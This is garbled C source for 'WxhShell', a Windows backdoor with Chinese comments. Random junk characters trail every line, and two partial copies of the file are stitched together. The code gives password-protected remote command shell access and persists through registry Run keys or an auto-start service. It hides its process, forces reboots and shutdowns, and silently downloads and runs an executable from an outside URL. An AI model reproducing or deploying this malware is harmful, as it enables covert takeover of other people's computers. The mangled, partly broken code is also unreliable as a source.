  case 'd': { [=XZza.z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v;)BVv  
    if(Boot(SHUTDOWN)) K%Usjezv&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t!6\7Vm/  
    else { gzl%5`DBw  
    closesocket(wsh); ^z[_U}N\}  
    ExitThread(0); ox(*  
    } sl~b\j  
    break; =1gDjF9|  
    } 3mpP| b"  
  // 获取shell R19'| TJ  
  case 's': { qJ\X~5{  
    CmdShell(wsh); #Y;.>mF  
    closesocket(wsh); %3]3r*e&5  
    ExitThread(0); Sp<hai  
    break; 1zdYBb6;j  
  } 1P5*wNF  
  // 退出 ~GNyE*t/Y  
  case 'x': { GYFgEg}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -(6eVI  
    CloseIt(wsh); .[edln  
    break; pO\ S#GnX  
    } o&CghF  
  // 离开 b0r,h)R  
  case 'q': { Ro$j1Aw(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |C~Sr#6)7  
    closesocket(wsh); l)}<#Ri  
    WSACleanup(); b2a'KczV  
    exit(1); 9U!JK3d  
    break; ~&lQNl3`m6  
        } V^j3y`K  
  } 08`f7[JQo]  
  } ?+3R^%`V  
\U==f &G?J  
  // 提示信息  =Ov9Kf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0v;ve  
} R|/Wz/$1A  
  } #uQrJh1o8  
Bfbl#ZkyL  
  return; jIKBgsiF/  
} P1dN32H o  
!?yxh/>lM  
// shell模块句柄 ^%-NPo<  
int CmdShell(SOCKET sock) G=vN;e_$_b  
{ x2Ha&   
STARTUPINFO si; aZ8h[#]7  
ZeroMemory(&si,sizeof(si)); FL59  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RwUW;hU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vz%"9`r  
PROCESS_INFORMATION ProcessInfo; S*;#'j)4+  
char cmdline[]="cmd"; >r~0SMQr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a a4$'8s  
  return 0; ! &Z*yH  
} uRP Ff77  
O\%j56Bf  
// 自身启动模式 X d!Cp  
int StartFromService(void) X>2? `8M  
{ 4\v~HFsv  
typedef struct Z&TD+fT<  
{ i"/r)>"b  
  DWORD ExitStatus; )sqaR^  
  DWORD PebBaseAddress; 8^i\Y;6  
  DWORD AffinityMask; 5@K\c6   
  DWORD BasePriority; F/)f,sZF  
  ULONG UniqueProcessId; KUbJe)}g  
  ULONG InheritedFromUniqueProcessId; OE6#YT  
}   PROCESS_BASIC_INFORMATION; P;jlHZ9?O  
5Qb;2!  
PROCNTQSIP NtQueryInformationProcess; %?@x]B9Y8E  
=1O?jrl~q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VZ;@S3TS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O)l%OOv   
4>l0V<  
  HANDLE             hProcess; &/HoSj>HS  
  PROCESS_BASIC_INFORMATION pbi; ;D:=XA%  
%@>YNPD`E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 61G|?Aax  
  if(NULL == hInst ) return 0; Tu==49  
@sN^BX`z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E{<?l 7t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "=FIFf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fTTm$,f5N  
FWIih5 3`  
  if (!NtQueryInformationProcess) return 0; "X`Qe!zk4  
vnDmFqelz  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4yhcK&  
  if(!hProcess) return 0; q Z#!CPHS  
:sFo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &ryiG  
[ ynuj3G V  
  CloseHandle(hProcess); 5H~@^!7t  
Dp^95V@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #iiwD|  
if(hProcess==NULL) return 0; $khrWiX  
O!/ekU|,r  
HMODULE hMod; ,b$z!dvhl  
char procName[255]; Ac J>$L)  
unsigned long cbNeeded; L+7*NaPY*  
7$K}qsr<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R \ia6  
#o~[1K+Yq  
  CloseHandle(hProcess); YjX*)Q_sl?  
*g*VCO  
if(strstr(procName,"services")) return 1; // 以服务启动 6`1k ^  
u9BjgK(M  
  return 0; // 注册表启动 f0OgK<.>T  
} 'w:bs!  
CNq[4T'~A  
// 主模块 f7ZA837Un  
int StartWxhshell(LPSTR lpCmdLine) # 9V'';:  
{ RTZ:U@  
  SOCKET wsl; Q~8y4=|#CY  
BOOL val=TRUE; hc"6u\>  
  int port=0; &eU3(F`.  
  struct sockaddr_in door; f P+QxOz  
`6UtxJSx  
  if(wscfg.ws_autoins) Install(); W5 |j1He&  
 C[R`Ml  
port=atoi(lpCmdLine); +eC3?B8rN  
uC)Zs, _5  
if(port<=0) port=wscfg.ws_port; zqY)dk  
]uAS+shQ&  
  WSADATA data; (NPxab8e*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @FU~1u3d  
CPVmF$A-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |J\,F.{'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /;7ID41  
  door.sin_family = AF_INET; ]?M)NRk%S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .5 ]{M\aA  
  door.sin_port = htons(port); 4'` C1a  
jK e.gA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _%;M9Sg3  
closesocket(wsl); 3hLqAj  
return 1; 72u db^  
} v:?o3 S  
9Eu #lV  
  if(listen(wsl,2) == INVALID_SOCKET) { sLZ>v  
closesocket(wsl); 8sH50jeP  
return 1; {79qtq%W{  
} * O5:  
  Wxhshell(wsl); l!/!?^8|f  
  WSACleanup(); (m/aV  
4 ]sCr+   
return 0; &/iFnYVhy  
Z~_8P  
} g9`[Y~  
YQ+^  
// 以NT服务方式启动 -( (Z@T1k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O <>#>[  
{ vkuc8 li  
DWORD   status = 0; m!0N"AjA  
  DWORD   specificError = 0xfffffff; ex!XB$X  
Qne0kB5m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IyOpju)?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IKo;9|2U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UDM yyVd  
  serviceStatus.dwWin32ExitCode     = 0; 4j{oaey  
  serviceStatus.dwServiceSpecificExitCode = 0; y #69|G  
  serviceStatus.dwCheckPoint       = 0; <>n9'i1  
  serviceStatus.dwWaitHint       = 0; qrpb[)Ll  
\1]rlzXGUT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &u=8r*  
  if (hServiceStatusHandle==0) return; BW>5?0E[4(  
>IBTBh_ka  
status = GetLastError(); "9%q bM B  
  if (status!=NO_ERROR) z,avQR&  
{ nGns}\!7'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GyuV %  
    serviceStatus.dwCheckPoint       = 0; /z#F,NB  
    serviceStatus.dwWaitHint       = 0; :6zC4Sr^  
    serviceStatus.dwWin32ExitCode     = status; =},{8fZ4  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'bC]M3P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >K5~:mx#3  
    return; w2C&%Xk  
  } Y+@g~TE  
)@_ugW-j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +2Z#M  
  serviceStatus.dwCheckPoint       = 0; 0 7\02f  
  serviceStatus.dwWaitHint       = 0; ><K!~pst}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]Z/R!y?l"G  
} "9ue76  
@+:4J_N  
// 处理NT服务事件,比如:启动、停止 /'\;8A$J`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %Ci^*zb  
{ d@Q][7  
switch(fdwControl) r ^ Y~mq  
{ QkL@JF]Re  
case SERVICE_CONTROL_STOP: @iRO7 6m  
  serviceStatus.dwWin32ExitCode = 0; Hit Ac8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4#7Umj  
  serviceStatus.dwCheckPoint   = 0; 9qre|AA  
  serviceStatus.dwWaitHint     = 0; +aj^Cs1$  
  { i5VG2S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 06jMj26!  
  } SY|Ez!tU:N  
  return; uOre,AQR  
case SERVICE_CONTROL_PAUSE: ik IzhUWE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kZv*rWAm  
  break; =U c$D*  
case SERVICE_CONTROL_CONTINUE: <wa(xDBw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `36N n+A  
  break; n]v7V&mj\  
case SERVICE_CONTROL_INTERROGATE: {@45?L('  
  break; =zOe b/  
}; JjQVzkE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J.W Ho c  
} T/NjNEd#  
LXNQb6!  
// 标准应用程序主函数 }PZ=`w*O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U!0E_J  
{ hbfsHT  
;_N"Fdl  
// 获取操作系统版本 :3 y_mf>  
OsIsNt=GetOsVer(); $kl$D"*0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h R~v  
q#'VJA:A5&  
  // 从命令行安装 p[-{]!  
  if(strpbrk(lpCmdLine,"iI")) Install(); k}U JVH21k  
h0lu!m#\_  
  // 下载执行文件 HCazwX  
if(wscfg.ws_downexe) { nE7JLtbH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SOj`Y|6^:  
  WinExec(wscfg.ws_filenam,SW_HIDE); X4'kZ'Sy<  
} OXCQfT@\  
sf)W~Lx 5a  
if(!OsIsNt) { :".w{0l@  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ihqs%;V  
HideProc(); c D7FfJ  
StartWxhshell(lpCmdLine); fv2=B )8$  
} a:b^!H>#  
else M(2`2-/xh  
  if(StartFromService()) mW +tV1XjG  
  // 以服务方式启动 .8(%4ejJ(  
  StartServiceCtrlDispatcher(DispatchTable); r.<JDdj  
else Uouq>N  
  // 普通方式启动 wS%zWdsz  
  StartWxhshell(lpCmdLine); 02pplDFsM  
hfv%,,e  
return 0; /WYh[XKe  
} t%$@fjz  
1a8$f5  
5r7h=[N  
f'_M0x  
=========================================== L=g_@b   
^/a*.cu  
Hm4bN\%  
2yxi= XWZ  
e "n|jRh  
v ): V  
" RHI&j~  
3\+N`!  
#include <stdio.h> N,|r1u9X#  
#include <string.h> A?,A( -0C  
#include <windows.h> $:;%bjSI  
#include <winsock2.h> l[*sHi  
#include <winsvc.h> no|Gq>Xp  
#include <urlmon.h> j 3P$@<  
eM }W6vIn  
#pragma comment (lib, "Ws2_32.lib") 8[R1A  
#pragma comment (lib, "urlmon.lib") m8AAp1=  
ve-8*Xa  
#define MAX_USER   100 // 最大客户端连接数 3I*uV!notJ  
#define BUF_SOCK   200 // sock buffer h'!V8'}O?  
#define KEY_BUFF   255 // 输入 buffer ._,trb>o  
5 0Ad,mn<  
#define REBOOT     0   // 重启 FW Y[=S  
#define SHUTDOWN   1   // 关机 JJ-i_5\q  
U|?,N0%Z1  
#define DEF_PORT   5000 // 监听端口 kFwxK"n@C  
}"4roJ  
#define REG_LEN     16   // 注册表键长度 oIxH3T  
#define SVC_LEN     80   // NT服务名长度 x8/us  
h[Mdr  
// 从dll定义API WK4@:k m6)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \O? u*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >UWStzH<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZAeQ~ j~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (}"S) #C  
n1 v,#GE  
// wxhshell配置信息 ! Rvn'|!  
struct WSCFG { X" \}sl 5  
  int ws_port;         // 监听端口 sOQcx\dK  
  char ws_passstr[REG_LEN]; // 口令 &I)\*Ue2t  
  int ws_autoins;       // 安装标记, 1=yes 0=no I.a0[E/,  
  char ws_regname[REG_LEN]; // 注册表键名 RJPcn)@l  
  char ws_svcname[REG_LEN]; // 服务名 H+`*Y<F@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *B{-uc3o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uP6-cs  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TPK@*9rI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SUu >6'LN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >a@>N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +?V0:Kz]  
jsZY{s=  
}; pl\b-  
4>k I^  
// default Wxhshell configuration -[$&s FD  
struct WSCFG wscfg={DEF_PORT, 0'@u!m?  
    "xuhuanlingzhe", >?V<$>12  
    1, )&z4_l8`=  
    "Wxhshell", Pi){h~B>  
    "Wxhshell", L#ZLawG  
            "WxhShell Service", (3O1?n[n  
    "Wrsky Windows CmdShell Service", KIIym9%  
    "Please Input Your Password: ", WW6yFriuW  
  1, ~S;!T  
  "http://www.wrsky.com/wxhshell.exe", ^#w{/C/n  
  "Wxhshell.exe" }4vjKSV  
    }; =GTD"*vwr  
_[JkJwPTx  
// 消息定义模块 4=s9A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {MxnIg7'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :'Xr/| s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S.hC$0vrj  
char *msg_ws_ext="\n\rExit."; <I 1y  
char *msg_ws_end="\n\rQuit."; 045\i[l=  
char *msg_ws_boot="\n\rReboot..."; n;qz^HXEJ  
char *msg_ws_poff="\n\rShutdown..."; !-RwB@\  
char *msg_ws_down="\n\rSave to "; !7c'<[+Hm  
|[ocyUsxX  
char *msg_ws_err="\n\rErr!"; `j:M)2:*y  
char *msg_ws_ok="\n\rOK!"; u G[!w!e  
P&\X`ZUA  
char ExeFile[MAX_PATH]; tN}c0'H  
int nUser = 0; Cya5*U0=  
HANDLE handles[MAX_USER]; 3 Ta>Ki  
int OsIsNt; HEpM4xe$  
gVA; `<  
SERVICE_STATUS       serviceStatus; =)*JbwQ   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .+vd6Uc5a  
]>vf9]  
// 函数声明 6ZOAmH fs  
int Install(void); T<M?PlED  
int Uninstall(void); $+TYvA'N  
int DownloadFile(char *sURL, SOCKET wsh); ?`aTu:1#Z  
int Boot(int flag); "& Mou  
void HideProc(void); oAnigu;  
int GetOsVer(void); K7Gm-=%  
int Wxhshell(SOCKET wsl); }9=2g`2Q  
void TalkWithClient(void *cs); ]ViOr8u  
int CmdShell(SOCKET sock); iD`k"\>9  
int StartFromService(void); HL8(lPgS  
int StartWxhshell(LPSTR lpCmdLine); ]738Z/)^  
3cHtf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M5 `m.n<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (Y)!"_|  
w%rg\E  
// 数据结构和表定义 KGQC't  
SERVICE_TABLE_ENTRY DispatchTable[] = Xy!&^C` J`  
{ quRPg)  
{wscfg.ws_svcname, NTServiceMain}, gDv$DB8-  
{NULL, NULL} - `4Ty*K  
}; ENyAF%6  
8 ?" Ze(  
// 自我安装 _k|g@"  
int Install(void) &SrGh$:X  
{ UM`nq;>  
  char svExeFile[MAX_PATH]; .HCaXFW  
  HKEY key; R=Ymo.zs6  
  strcpy(svExeFile,ExeFile); 5v3RVaqZ  
/6jGt'^U  
// 如果是win9x系统,修改注册表设为自启动 wibwyzo  
if(!OsIsNt) { &N9IcNP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9N1#V K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "qgu$N4/>  
  RegCloseKey(key); {NV:|M!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \ =Nm5:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &D)2KD"N  
  RegCloseKey(key); 0# l#,Y6#I  
  return 0; J[6VBM.Y  
    } Ju4.@  
  } hk.yR1Y|  
} Oa1'oYIHg  
else { eK *W =c#@  
kXMP=j8  
// 如果是NT以上系统,安装为系统服务 B5 &YL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Br&^09S  
if (schSCManager!=0) T*R{L  
{ sxk*$jO[]  
  SC_HANDLE schService = CreateService :Dj#VN  
  ( ;le0QA Pf  
  schSCManager, c(E,&{+E  
  wscfg.ws_svcname, vS#{-X  
  wscfg.ws_svcdisp, @ge LW!  
  SERVICE_ALL_ACCESS, ]/[0O+B?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {!y<<u1  
  SERVICE_AUTO_START, Tm\OYYyk  
  SERVICE_ERROR_NORMAL, PK}vh%  
  svExeFile, ?^F5(B[+Y  
  NULL, AygvJeM_W  
  NULL, )6 k1 P  
  NULL, 3u4:l  
  NULL, VAg68 EbnF  
  NULL dxntGH< O  
  ); `$M etQ  
  if (schService!=0) mV%h[~-  
  { ]Ly8s#<g]N  
  CloseServiceHandle(schService); D Kq-C%  
  CloseServiceHandle(schSCManager); N"K\ick6J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %b9fW  
  strcat(svExeFile,wscfg.ws_svcname); A'`P2Am  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &8afl"_~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s_v }=C^  
  RegCloseKey(key); @ 'Q%Jc(  
  return 0; RJLFj  
    } A-;^~I  
  } ^F&A6{9f/h  
  CloseServiceHandle(schSCManager); d9|T=R  
} ve~C`2=;  
} 8lpzSJP4k  
 qJURPK  
return 1; v?}pi  
} Qj:{p5H'  
.X^43 q  
// 自我卸载 9j2\y=<&  
int Uninstall(void) %pqL-G  
{ /xJY7yF  
  HKEY key; Uqr{,-]5v  
l:x _j\  
if(!OsIsNt) { | 4 `.#4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g/!Otgfu  
  RegDeleteValue(key,wscfg.ws_regname); ff[C'  
  RegCloseKey(key); j 37:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~n8F7  
  RegDeleteValue(key,wscfg.ws_regname); VD9J}bgJ  
  RegCloseKey(key); 1P \up   
  return 0; /XN*)m  
  } n-W?Z'H{r  
} @T_O6TcY  
} *n,UOHlO  
else { m qpd  
'/dTqg*W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F46O!xb%  
if (schSCManager!=0) l=,.iv=W  
{ }Py<qXH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _En]@xK3&  
  if (schService!=0) @ E >eq.m  
  { K/~Y!?:J r  
  if(DeleteService(schService)!=0) { unpfA#&!"  
  CloseServiceHandle(schService); O4n8MM|`  
  CloseServiceHandle(schSCManager); ]2P/G5C3tU  
  return 0; #c :9 V2  
  } 1BTgGF  
  CloseServiceHandle(schService); "AV1..mu  
  } a~6ztEhGm  
  CloseServiceHandle(schSCManager); ynxWQ%d(`  
} ?$2q P`-  
} I>\}}!  
I51M}b,[d  
return 1; FU'^n6[<B  
} q;KshpfRMD  
^fG`DjA)  
// 从指定url下载文件 vrQFx~ZztH  
int DownloadFile(char *sURL, SOCKET wsh) !\3 }R25  
{ Qf" 6PJ  
  HRESULT hr; s!NisF  
char seps[]= "/"; `I@)<d  
char *token; )\(lg*?:  
char *file; 6NU8HJp  
char myURL[MAX_PATH]; )ynA:LXx  
char myFILE[MAX_PATH]; e W9)@nVJ  
~ >4@;  
strcpy(myURL,sURL); t&8<k+m  
  token=strtok(myURL,seps); G[vUOEU ~O  
  while(token!=NULL) Z"4VH rA  
  { zV6AuUIt  
    file=token; 4{g:^?1=  
  token=strtok(NULL,seps); N"&$b_u[  
  } 8xc8L1;  
Hxj'38Y  
GetCurrentDirectory(MAX_PATH,myFILE); ]j72P  
strcat(myFILE, "\\"); ,.J<.#D3J  
strcat(myFILE, file); R%qX_m\0  
  send(wsh,myFILE,strlen(myFILE),0); (R,NV3m?w  
send(wsh,"...",3,0); \ YjB+[.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3x,Aczb  
  if(hr==S_OK) 4S^  
return 0; "9TxK6  
else @"jmI&hYn  
return 1; nl.~^CP  
S$ Ns8=  
} =ZFcxGo  
X+/{%P!w  
// 系统电源模块 Jii?r*"d  
int Boot(int flag) Mr#oT?  
{ ScM} m  
  HANDLE hToken; O_qu;Dx!  
  TOKEN_PRIVILEGES tkp; {hlT` K  
*7)S%r,?  
  if(OsIsNt) { .LWOM8)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8}ii3Py  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p)K9 ZI  
    tkp.PrivilegeCount = 1; D!81(}p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v$qpcu#o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !E4E'I=]N  
if(flag==REBOOT) { Nck!z8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c _R)P,P  
  return 0; f0:EQYYZ  
} v=dKcruR:  
else { %V@Rk.<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L#83f]vG  
  return 0; C}t+t  
} *>?):-9"6N  
  } ;LwFbkOuU  
  else { fRZUY <t  
if(flag==REBOOT) { \VoB=Ac&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cq+nWHqF{J  
  return 0; h v;n[  
} Ah(\%35&  
else { Ak<IHp^Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dj8F6\  
  return 0; buMiJzU  
} C5.\;;7^&  
} Q1P,=T@  
*[XN.sb8E  
return 1; xCDA1y;j  
} Fh*q]1F  
XhJP87A  
// win9x进程隐藏模块 ]1YYrgi7  
void HideProc(void) gOBj0P8s|}  
{ D2hAlV)i(  
P_:?}h\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V{7lltu  
  if ( hKernel != NULL ) 5n&)q=jk=  
  { ==PQ-Ia  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;EE{ ~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #QJ4o_  
    FreeLibrary(hKernel); w>/pQ6=OFR  
  } Ww a41z  
t?3{s\z8+  
return; muqfSF  
} N3S,33 8s  
Yc. ~qmG/z  
// 获取操作系统版本 -eSPoZ  
int GetOsVer(void) mGM inzf  
{ m!FM+kge  
  OSVERSIONINFO winfo; iXr`0V   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IPr*pQ{;c  
  GetVersionEx(&winfo); (;Dn%kK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #*ZnA,  
  return 1; !."%M^J  
  else p``;!3~ ~  
  return 0; Sop Ntcu!  
} Vsm%h^]d  
"63zc 1  
// 客户端句柄模块 )cv0$  
int Wxhshell(SOCKET wsl) `-9*@_ -=M  
{ 79<9}<T  
  SOCKET wsh; $_ I%1  
  struct sockaddr_in client; Os]!B2j14  
  DWORD myID; 9;xL!cy  
w<I5@)i|  
  while(nUser<MAX_USER) *`QdkVER  
{ ~L4*b *W  
  int nSize=sizeof(client); Wq[=}qh~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 47(1V/r  
  if(wsh==INVALID_SOCKET) return 1; e&FX7dsyy  
a|] %/[G@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mZ& \3m=  
if(handles[nUser]==0) &t9XK8S  
  closesocket(wsh); /ut~jf`  
else UG^?a  
  nUser++; *x# &[>  
  } /pSUn"3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /v|68x6  
ba:mO$  
  return 0; CHdet(_=v  
} r['=a/.C  
F] dd>#  
// 关闭 socket ?Uy*6YS  
void CloseIt(SOCKET wsh) dl3LDB  
{ /!&b'7y  
closesocket(wsh); edImrm1f  
nUser--; 99+/W*C  
ExitThread(0); R; Gl{  
} `|ck5DZT5L  
6S+K*/w  
// 客户端请求句柄 oE|u;o  
void TalkWithClient(void *cs) X{9JSq  
{ J*6n6  
2gC&R1 H  
  SOCKET wsh=(SOCKET)cs; 0x9F*i_  
  char pwd[SVC_LEN]; f@xfb ie !  
  char cmd[KEY_BUFF]; k1LtqV  
char chr[1]; 4 L~;>]7  
int i,j; )2<B$p  
]%Q]C 8[C  
  while (nUser < MAX_USER) { 71n uTE%!  
i"\AyKiJ  
if(wscfg.ws_passstr) { BF1O|Q|d6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,$zSJzS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #G4~]Qml  
  //ZeroMemory(pwd,KEY_BUFF); -XDP-Trk  
      i=0; \aJ-q?=  
  while(i<SVC_LEN) { bTy' 5"  
3Mh,NQB  
  // 设置超时 T0]%(F/8  
  fd_set FdRead; D=I5[t0c4  
  struct timeval TimeOut; gQ@Pw4bA  
  FD_ZERO(&FdRead); ;o)`9<es!2  
  FD_SET(wsh,&FdRead); A86lyBDQ*  
  TimeOut.tv_sec=8; ZjI/zqBm  
  TimeOut.tv_usec=0; f)s_e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {p lmFV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e2=,n6N]c  
-R8!"~o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =ZJ?xA8  
  pwd=chr[0]; U~B}vt  
  if(chr[0]==0xd || chr[0]==0xa) { =Gg)GSL^  
  pwd=0; g#KToOP  
  break; MIXrLh3  
  } I?B,rT3 h  
  i++; pTV@nP  
    } S1^Mw;?P  
glKs8^W  
  // 如果是非法用户,关闭 socket 3 Q%k (,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C[<\ufclD  
}  ~bWWu`h  
Z$m2rZ#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x8rFMR#S=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tdmo'"m8z_  
}AH|~3|D  
while(1) { r|H!s,  
3TvhOC>yG  
  ZeroMemory(cmd,KEY_BUFF); Fi3(glgd-  
ht74h  
      // 自动支持客户端 telnet标准   VL!kX``^F  
  j=0;  rgvc5p  
  while(j<KEY_BUFF) { t;f p<z7N.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?[4khQt  
  cmd[j]=chr[0]; =iN_Ug+  
  if(chr[0]==0xa || chr[0]==0xd) { vJj j+:  
  cmd[j]=0; MzW$Sl&:  
  break; nKa ;FaJ  
  } Jm1AJ4mw  
  j++; !.GY~f<d$  
    } Q,qylL  
O/r<VT Op  
  // 下载文件 A)p! w aG  
  if(strstr(cmd,"http://")) { "ZPbK$+=yU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D~`YRbv  
  if(DownloadFile(cmd,wsh)) 6;c{~$s~[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }d*sWSPu(  
  else *[5#g3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zB7dCw  
  } J<$'^AR9"q  
  else { )Jjw}}$}Y  
(pxz#B4  
